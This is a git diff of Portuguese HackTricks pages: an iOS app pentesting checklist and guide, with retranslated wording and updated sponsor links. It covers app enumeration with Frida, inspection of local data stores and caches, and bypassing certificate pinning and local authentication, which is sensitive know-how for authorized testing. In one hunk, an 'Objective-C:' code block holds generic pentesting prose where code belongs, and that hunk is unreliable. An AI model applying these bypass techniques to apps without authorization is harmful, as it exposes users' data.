![](https://miro.medium.com/max/700/1\*lt0ZvZH60HI0ud1eE9jAnA.png)
|
||||
|
||||
|
@ -91,8 +91,8 @@ Depois de instalar o certificado dessa maneira, o Firefox para Android não o us
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,7 +12,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -22,8 +22,8 @@ Acesse hoje mesmo:
|
|||
|
||||
### Preparação
|
||||
|
||||
* [ ] Leia [**Noções Básicas de iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Prepare seu ambiente lendo [**Ambiente de Teste iOS**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Leia [**Noções Básicas do iOS**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Prepare seu ambiente lendo [**Ambiente de Teste do iOS**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentest em um aplicativo iOS
|
||||
|
||||
### Armazenamento de Dados
|
||||
|
@ -35,15 +35,15 @@ Acesse hoje mesmo:
|
|||
* [ ] [**Bancos de dados Realm**](ios-pentesting/#realm-databases) podem armazenar informações sensíveis.
|
||||
* [ ] [**Bancos de dados Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) podem armazenar informações sensíveis.
|
||||
* [ ] [**Cookies binários**](ios-pentesting/#cookies) podem armazenar informações sensíveis.
|
||||
* [ ] [**Dados de cache**](ios-pentesting/#cache) podem armazenar informações sensíveis.
|
||||
* [ ] [**Dados em cache**](ios-pentesting/#cache) podem armazenar informações sensíveis.
|
||||
* [ ] [**Snapshots automáticos**](ios-pentesting/#snapshots) podem salvar informações visuais sensíveis.
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone.
|
||||
* [ ] Em resumo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos**
|
||||
* [ ] Resumindo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos**
|
||||
|
||||
### Teclados
|
||||
|
||||
* [ ] O aplicativo permite o uso de [**teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Verifique se informações sensíveis são salvas nos [**arquivos de cache do teclado**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
* [ ] O aplicativo [**permite o uso de teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
* [ ] Verifique se informações sensíveis são salvas nos [**arquivos de cache dos teclados**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
||||
|
||||
### **Logs**
|
||||
|
||||
|
@ -52,7 +52,7 @@ Acesse hoje mesmo:
|
|||
### Backups
|
||||
|
||||
* [ ] [**Backups**](ios-pentesting/#backups) podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação)
|
||||
* [ ] Além disso, [**backups**](ios-pentesting/#backups) podem ser usados para **modificar algumas configurações do aplicativo**, em seguida, **restaurar** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (segurança) **funcionalidade** pode ser **burlada**
|
||||
* [ ] Além disso, [**backups**](ios-pentesting/#backups) podem ser usados para **modificar algumas configurações do aplicativo**, em seguida, **restaurar** o backup no telefone e, como a **configuração modificada** é **carregada**, algumas funcionalidades (de segurança) podem ser **burladas**
|
||||
|
||||
### **Memória do Aplicativo**
|
||||
|
||||
|
@ -67,63 +67,62 @@ Acesse hoje mesmo:
|
|||
### **Autenticação Local**
|
||||
|
||||
* [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) for usada no aplicativo, verifique como a autenticação está funcionando.
|
||||
* [ ] Se estiver usando o [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), pode ser facilmente burlado
|
||||
* [ ] Se estiver usando o [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), ela pode ser facilmente burlada
|
||||
* [ ] Se estiver usando uma [**função que pode ser dinamicamente burlada**](ios-pentesting/#local-authentication-using-keychain), você pode criar um script frida personalizado
|
||||
### Exposição de Funcionalidades Sensíveis por meio de IPC
|
||||
|
||||
### Exposição de Funcionalidade Sensível por meio de IPC
|
||||
|
||||
* [**Manipuladores de URI personalizados / Deep links / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema**
|
||||
* [ ] Verifique se o aplicativo está **registrando para usar** algum protocolo/esquema
|
||||
* [ ] Verifique se o aplicativo **espera receber algum tipo de informação sensível** do esquema personalizado que pode ser **interceptada** por outro aplicativo que registra o mesmo esquema
|
||||
* [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e alguma **vulnerabilidade pode ser explorada**
|
||||
* [ ] Verifique se o aplicativo **expõe alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado
|
||||
* [**Manipuladores de URI personalizados / Links profundos / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Verificar se o aplicativo está **registrando algum protocolo/esquema**
|
||||
* [ ] Verificar se o aplicativo está **registrando o uso** de algum protocolo/esquema
|
||||
* [ ] Verificar se o aplicativo **espera receber algum tipo de informação sensível** do esquema personalizado que pode ser **interceptada** por outro aplicativo que registra o mesmo esquema
|
||||
* [ ] Verificar se o aplicativo **não está verificando e sanitizando** a entrada do usuário por meio do esquema personalizado e se alguma **vulnerabilidade pode ser explorada**
|
||||
* [ ] Verificar se o aplicativo **expõe alguma ação sensível** que pode ser chamada de qualquer lugar por meio do esquema personalizado
|
||||
* [**Links Universais**](ios-pentesting/#universal-links)
|
||||
* [ ] Verifique se o aplicativo está **registrando algum protocolo/universal esquema**
|
||||
* [ ] Verifique o arquivo `apple-app-site-association`
|
||||
* [ ] Verifique se o aplicativo **não está verificando e sanitizando** a entrada do usuário via esquema personalizado e alguma **vulnerabilidade pode ser explorada**
|
||||
* [ ] Verifique se o aplicativo **expõe alguma ação sensível** que pode ser chamada de qualquer lugar via esquema personalizado
|
||||
* [ ] Verificar se o aplicativo está **registrando algum protocolo/esquema universal**
|
||||
* [ ] Verificar o arquivo `apple-app-site-association`
|
||||
* [ ] Verificar se o aplicativo **não está verificando e sanitizando** a entrada do usuário por meio do esquema personalizado e se alguma **vulnerabilidade pode ser explorada**
|
||||
* [ ] Verificar se o aplicativo **expõe alguma ação sensível** que pode ser chamada de qualquer lugar por meio do esquema personalizado
|
||||
* [**Compartilhamento de UIActivity**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] Verifique se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente criada
|
||||
* [ ] Verificar se o aplicativo pode receber UIActivities e se é possível explorar alguma vulnerabilidade com uma atividade especialmente criada
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] Verifique se o aplicativo está **copiando algo para a área de transferência geral**
|
||||
* [ ] Verifique se o aplicativo está **usando os dados da área de transferência geral para qualquer coisa**
|
||||
* [ ] Monitore a área de transferência para ver se algum **dados sensíveis são copiados**
|
||||
* [**Extensões de aplicativos**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] Verificar se o aplicativo está **copiando algo para a área de transferência geral**
|
||||
* [ ] Verificar se o aplicativo está **usando os dados da área de transferência geral para algo**
|
||||
* [ ] Monitorar a área de transferência para ver se algum **dados sensíveis são copiados**
|
||||
* [**Extensões de Aplicativo**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] O aplicativo está **usando alguma extensão**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] Verifique qual tipo de webviews está sendo usado
|
||||
* [ ] Verifique o status de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Verifique se a webview pode **acessar arquivos locais** com o protocolo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Verifique se o Javascript pode acessar **métodos nativos** (`JSContext`, `postMessage`)
|
||||
* [ ] Verificar qual tipo de webviews está sendo usado
|
||||
* [ ] Verificar o status de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||
* [ ] Verificar se a webview pode **acessar arquivos locais** com o protocolo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Verificar se o Javascript pode acessar **métodos nativos** (`JSContext`, `postMessage`)
|
||||
|
||||
### Comunicação de Rede
|
||||
|
||||
* [ ] Realize um [**MitM na comunicação**](ios-pentesting/#network-communication) e procure por vulnerabilidades web.
|
||||
* [ ] Verifique se o [**nome do host do certificado**](ios-pentesting/#hostname-check) é verificado
|
||||
* [ ] Verifique/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||
* [ ] Realizar um [**MitM na comunicação**](ios-pentesting/#network-communication) e procurar por vulnerabilidades web.
|
||||
* [ ] Verificar se o [**nome do host do certificado**](ios-pentesting/#hostname-check) é verificado
|
||||
* [ ] Verificar/Burlar [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||
|
||||
### **Miscelânea**
|
||||
### **Diversos**
|
||||
|
||||
* [ ] Verifique se existem mecanismos de [**patching/atualização automática**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Verifique se existem [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties)
|
||||
* [ ] Verificar a existência de mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||
* [ ] Verificar a existência de [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -20,13 +20,13 @@ Acesse hoje:
|
|||
|
||||
</details>
|
||||
|
||||
## Conceitos Básicos do iOS
|
||||
## Conceitos básicos do iOS
|
||||
|
||||
{% content-ref url="ios-basics.md" %}
|
||||
[ios-basics.md](ios-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Ambiente de Teste
|
||||
## Ambiente de teste
|
||||
|
||||
Nesta página, você pode encontrar informações sobre o **simulador iOS**, **emuladores** e **jailbreaking**:
|
||||
|
||||
|
@ -34,9 +34,9 @@ Nesta página, você pode encontrar informações sobre o **simulador iOS**, **e
|
|||
[ios-testing-environment.md](ios-testing-environment.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Análise Inicial
|
||||
## Análise inicial
|
||||
|
||||
### Operações Básicas de Teste do iOS
|
||||
### Operações básicas de teste do iOS
|
||||
|
||||
Durante o teste, **várias operações serão sugeridas** (conectar ao dispositivo, ler/escrever/fazer upload/fazer download de arquivos, usar algumas ferramentas...). Portanto, se você não sabe como realizar alguma dessas ações, **comece lendo a página**:
|
||||
|
||||
|
@ -46,10 +46,10 @@ Durante o teste, **várias operações serão sugeridas** (conectar ao dispositi
|
|||
|
||||
{% hint style="info" %}
|
||||
Para os próximos passos, **o aplicativo deve estar instalado** no dispositivo e você já deve ter obtido o **arquivo IPA** do aplicativo.\
|
||||
Leia a página [Operações Básicas de Teste do iOS](basic-ios-testing-operations.md) para aprender como fazer isso.
|
||||
Leia a página [Operações básicas de teste do iOS](basic-ios-testing-operations.md) para aprender como fazer isso.
|
||||
{% endhint %}
|
||||
|
||||
### Análise Estática Básica
|
||||
### Análise estática básica
|
||||
|
||||
Recomenda-se usar a ferramenta [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) para realizar uma Análise Estática automática no arquivo IPA.
|
||||
|
||||
|
@ -146,7 +146,7 @@ Confira a análise dinâmica realizada pelo [**MobSF**](https://github.com/MobSF
|
|||
|
||||
### Listando Apps Instalados
|
||||
|
||||
Ao direcionar apps instalados no dispositivo, você primeiro precisa descobrir o identificador de pacote correto do aplicativo que deseja analisar. Você pode usar `frida-ps -Uai` para obter todos os apps (`-a`) atualmente instalados (`-i`) no dispositivo USB conectado (`-U`):
|
||||
Ao direcionar apps que estão instalados no dispositivo, você primeiro precisa descobrir o identificador de pacote correto do aplicativo que deseja analisar. Você pode usar `frida-ps -Uai` para obter todos os apps (`-a`) atualmente instalados (`-i`) no dispositivo USB conectado (`-U`):
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
|
@ -368,7 +368,7 @@ No entanto, as melhores opções para desmontar o binário são: [**Hopper**](ht
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -469,7 +469,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
|||
```
|
||||
### Bancos de Dados em Tempo Real do Firebase
|
||||
|
||||
Eles podem ser aproveitados pelos desenvolvedores de aplicativos para **armazenar e sincronizar dados com um banco de dados hospedado na nuvem NoSQL**. Os dados são armazenados como JSON e são sincronizados em tempo real para cada cliente conectado, e também permanecem disponíveis mesmo quando o aplicativo está offline.
|
||||
Eles podem ser aproveitados pelos desenvolvedores de aplicativos para **armazenar e sincronizar dados com um banco de dados hospedado em nuvem NoSQL**. Os dados são armazenados como JSON e são sincronizados em tempo real para cada cliente conectado, e também permanecem disponíveis mesmo quando o aplicativo está offline.
|
||||
|
||||
Você pode encontrar como verificar bancos de dados do Firebase mal configurados aqui:
|
||||
|
||||
|
@ -533,9 +533,9 @@ Para inspecionar o arquivo de cookies, você pode usar [**este script em python*
|
|||
|
||||
Por padrão, o NSURLSession armazena dados, como **solicitações e respostas HTTP no banco de dados Cache.db**. Este banco de dados pode conter **dados sensíveis**, se tokens, nomes de usuário ou qualquer outra informação sensível tiver sido armazenada em cache. Para encontrar as informações em cache, abra o diretório de dados do aplicativo (`/var/mobile/Containers/Data/Application/<UUID>`) e vá para `/Library/Caches/<Bundle Identifier>`. O **cache do WebKit também é armazenado no arquivo Cache.db**. O **Objection** pode abrir e interagir com o banco de dados com o comando `sqlite connect Cache.db`, pois é um **banco de dados SQLite normal**.
|
||||
|
||||
É **recomendado desativar o cache desses dados**, pois eles podem conter informações sensíveis na solicitação ou resposta. A lista abaixo mostra diferentes maneiras de fazer isso:
|
||||
É **recomendado desativar o armazenamento em cache desses dados**, pois eles podem conter informações sensíveis na solicitação ou resposta. A lista a seguir mostra diferentes maneiras de fazer isso:
|
||||
|
||||
1. É recomendado remover as respostas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Você pode chamar esse método da seguinte forma:
|
||||
1. É recomendado remover as respostas em cache após o logout. Isso pode ser feito com o método fornecido pela Apple chamado [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Você pode chamar esse método da seguinte maneira:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
|
@ -555,7 +555,7 @@ A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso**
|
|||
|
||||
Uma maneira de evitar esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar a captura de tela usando a função `ApplicationDidEnterBackground()`.
|
||||
|
||||
A seguir, um exemplo de método de remediação que definirá uma captura de tela padrão.
|
||||
A seguir está um exemplo de método de remediação que definirá uma captura de tela padrão.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
|
@ -576,33 +576,47 @@ Objective-C:
|
|||
|
||||
Objective-C é uma linguagem de programação utilizada para desenvolver aplicativos iOS. Ela é baseada na linguagem C e adiciona recursos de programação orientada a objetos. Neste guia, exploraremos técnicas de pentesting para aplicativos iOS escritos em Objective-C.
|
||||
|
||||
## Configuração do ambiente de pentesting
|
||||
## Configuração do ambiente
|
||||
|
||||
Antes de começar o pentesting em aplicativos iOS escritos em Objective-C, é necessário configurar o ambiente de trabalho. Aqui estão os passos para configurar o ambiente de pentesting:
|
||||
Antes de começar o pentesting em aplicativos iOS escritos em Objective-C, é necessário configurar o ambiente de desenvolvimento. Siga as etapas abaixo:
|
||||
|
||||
1. Instale o Xcode: O Xcode é a IDE oficial da Apple para desenvolvimento de aplicativos iOS. Ele inclui todas as ferramentas necessárias para compilar e depurar aplicativos Objective-C.
|
||||
1. Instale o Xcode: O Xcode é a IDE oficial da Apple para desenvolvimento de aplicativos iOS. Você pode baixá-lo gratuitamente na App Store.
|
||||
|
||||
2. Configure um dispositivo iOS para depuração: Para testar aplicativos iOS em um dispositivo físico, é necessário configurar o dispositivo para depuração. Isso envolve habilitar o modo de desenvolvedor e permitir a instalação de aplicativos de terceiros.
|
||||
2. Configure um dispositivo iOS para depuração: Para testar aplicativos iOS em um dispositivo físico, você precisa configurar o dispositivo para depuração. Conecte o dispositivo ao computador e siga as instruções fornecidas pelo Xcode para habilitar a depuração.
|
||||
|
||||
3. Instale ferramentas de pentesting: Existem várias ferramentas disponíveis para pentesting em aplicativos iOS escritos em Objective-C. Algumas das ferramentas populares incluem o Frida, Cycript e o Burp Suite.
|
||||
3. Configure um simulador iOS: O Xcode também oferece simuladores iOS para testar aplicativos em um ambiente virtual. Você pode configurar vários simuladores iOS para diferentes versões do sistema operacional.
|
||||
|
||||
## Técnicas de pentesting em aplicativos iOS escritos em Objective-C
|
||||
## Ferramentas de pentesting
|
||||
|
||||
Aqui estão algumas técnicas de pentesting que podem ser aplicadas a aplicativos iOS escritos em Objective-C:
|
||||
Existem várias ferramentas disponíveis para realizar pentesting em aplicativos iOS escritos em Objective-C. Aqui estão algumas das ferramentas mais populares:
|
||||
|
||||
1. Análise de código estático: A análise de código estático envolve a revisão do código-fonte do aplicativo em busca de vulnerabilidades conhecidas. Isso pode incluir a identificação de chamadas inseguras de API, uso inadequado de criptografia e outras práticas de programação inseguras.
|
||||
- **Frida**: Uma poderosa ferramenta de manipulação dinâmica de código que permite injetar código em tempo de execução em aplicativos iOS.
|
||||
|
||||
2. Interceptação de tráfego de rede: A interceptação de tráfego de rede permite analisar as comunicações entre o aplicativo e o servidor. Isso pode revelar informações sensíveis, como credenciais de login, que estão sendo transmitidas sem criptografia adequada.
|
||||
- **Cycript**: Uma ferramenta de depuração interativa que permite inspecionar e manipular aplicativos iOS em tempo de execução.
|
||||
|
||||
3. Injeção de código: A injeção de código envolve a modificação do código do aplicativo em tempo de execução para explorar vulnerabilidades. Isso pode ser usado para realizar ataques de injeção de SQL, ataques de script entre sites (XSS) e outros tipos de ataques.
|
||||
- **Clutch**: Uma ferramenta para descriptografar aplicativos iOS protegidos por criptografia.
|
||||
|
||||
4. Teste de autenticação e autorização: O teste de autenticação e autorização envolve a verificação da robustez dos mecanismos de autenticação e autorização do aplicativo. Isso pode incluir a tentativa de autenticação com credenciais inválidas, a verificação de permissões inadequadas e a exploração de falhas de controle de acesso.
|
||||
- **MobSF**: Uma estrutura de segurança móvel automatizada que pode ser usada para analisar aplicativos iOS em busca de vulnerabilidades.
|
||||
|
||||
5. Teste de criptografia: O teste de criptografia envolve a avaliação da implementação de criptografia no aplicativo. Isso pode incluir a verificação do uso de algoritmos de criptografia fortes, a identificação de chaves de criptografia fracas e a análise de práticas de armazenamento seguro de chaves.
|
||||
## Técnicas de pentesting
|
||||
|
||||
## Conclusão
|
||||
Ao realizar pentesting em aplicativos iOS escritos em Objective-C, você pode usar várias técnicas para identificar vulnerabilidades e explorá-las. Aqui estão algumas técnicas comuns:
|
||||
|
||||
O pentesting em aplicativos iOS escritos em Objective-C é uma parte essencial do processo de desenvolvimento seguro de aplicativos. Ao aplicar técnicas de pentesting, é possível identificar e corrigir vulnerabilidades antes que elas sejam exploradas por hackers mal-intencionados.
|
||||
- **Análise de código**: Examine o código-fonte do aplicativo em busca de vulnerabilidades conhecidas, como injeção de SQL, XSS e deserialização não segura.
|
||||
|
||||
- **Engenharia reversa**: Use ferramentas como o IDA Pro para analisar o binário do aplicativo e entender seu funcionamento interno.
|
||||
|
||||
- **Injeção de código**: Use ferramentas como o Frida para injetar código em tempo de execução no aplicativo e manipular seu comportamento.
|
||||
|
||||
- **Teste de autenticação**: Teste a autenticação do aplicativo em busca de vulnerabilidades, como senhas fracas, autenticação não segura ou falta de controle de acesso.
|
||||
|
||||
- **Teste de criptografia**: Avalie a criptografia utilizada pelo aplicativo e verifique se há vulnerabilidades, como o uso de algoritmos fracos ou chaves de criptografia previsíveis.
|
||||
|
||||
- **Teste de armazenamento local**: Verifique se o aplicativo armazena dados sensíveis de forma segura no dispositivo, evitando vazamentos de informações.
|
||||
|
||||
## Considerações finais
|
||||
|
||||
Ao realizar pentesting em aplicativos iOS escritos em Objective-C, é importante seguir as melhores práticas de segurança e ética. Certifique-se de obter permissão do proprietário do aplicativo antes de realizar qualquer teste e proteja as informações confidenciais descobertas durante o processo de pentesting.
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
|
@ -649,7 +663,7 @@ Além disso, **aplicativos podem impedir que seus usuários usem teclados person
|
|||
Recomenda-se não permitir teclados de terceiros se você considerar que os usuários não precisarão deles.
|
||||
{% endhint %}
|
||||
|
||||
Observe que, devido à correção automática e sugestões automáticas, o teclado padrão do iOS capturará e armazenará cada palavra não padrão em um arquivo de cache, a menos que o atributo **secureTextEntry** seja definido como **true** ou se **autoCorrectionType** não for definido como **UITextAutoCorrectionTypeNo**.
|
||||
Observe que, devido à correção automática e sugestões automáticas, o teclado padrão do iOS capturará e armazenará cada palavra não padrão em um arquivo de cache se o atributo **secureTextEntry** não estiver definido como **true** ou se **autoCorrectionType** não estiver definido como **UITextAutoCorrectionTypeNo**.
|
||||
|
||||
Por padrão, os teclados **armazenam esse cache** dentro do sandbox do aplicativo no arquivo `Library/Keyboard/{locale}-dynamic-text.dat` ou em `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. No entanto, pode estar salvando os dados em outro local.\
|
||||
É possível redefinir o cache em _**Configurações**_ > _**Geral**_ > _**Redefinir**_ > _**Redefinir Dicionário do Teclado**_
|
||||
|
@ -680,12 +694,12 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
|||
```
|
||||
## **Registros**
|
||||
|
||||
As formas mais comuns de depurar código é usando logs, e o aplicativo **pode imprimir informações sensíveis nos logs**.\
|
||||
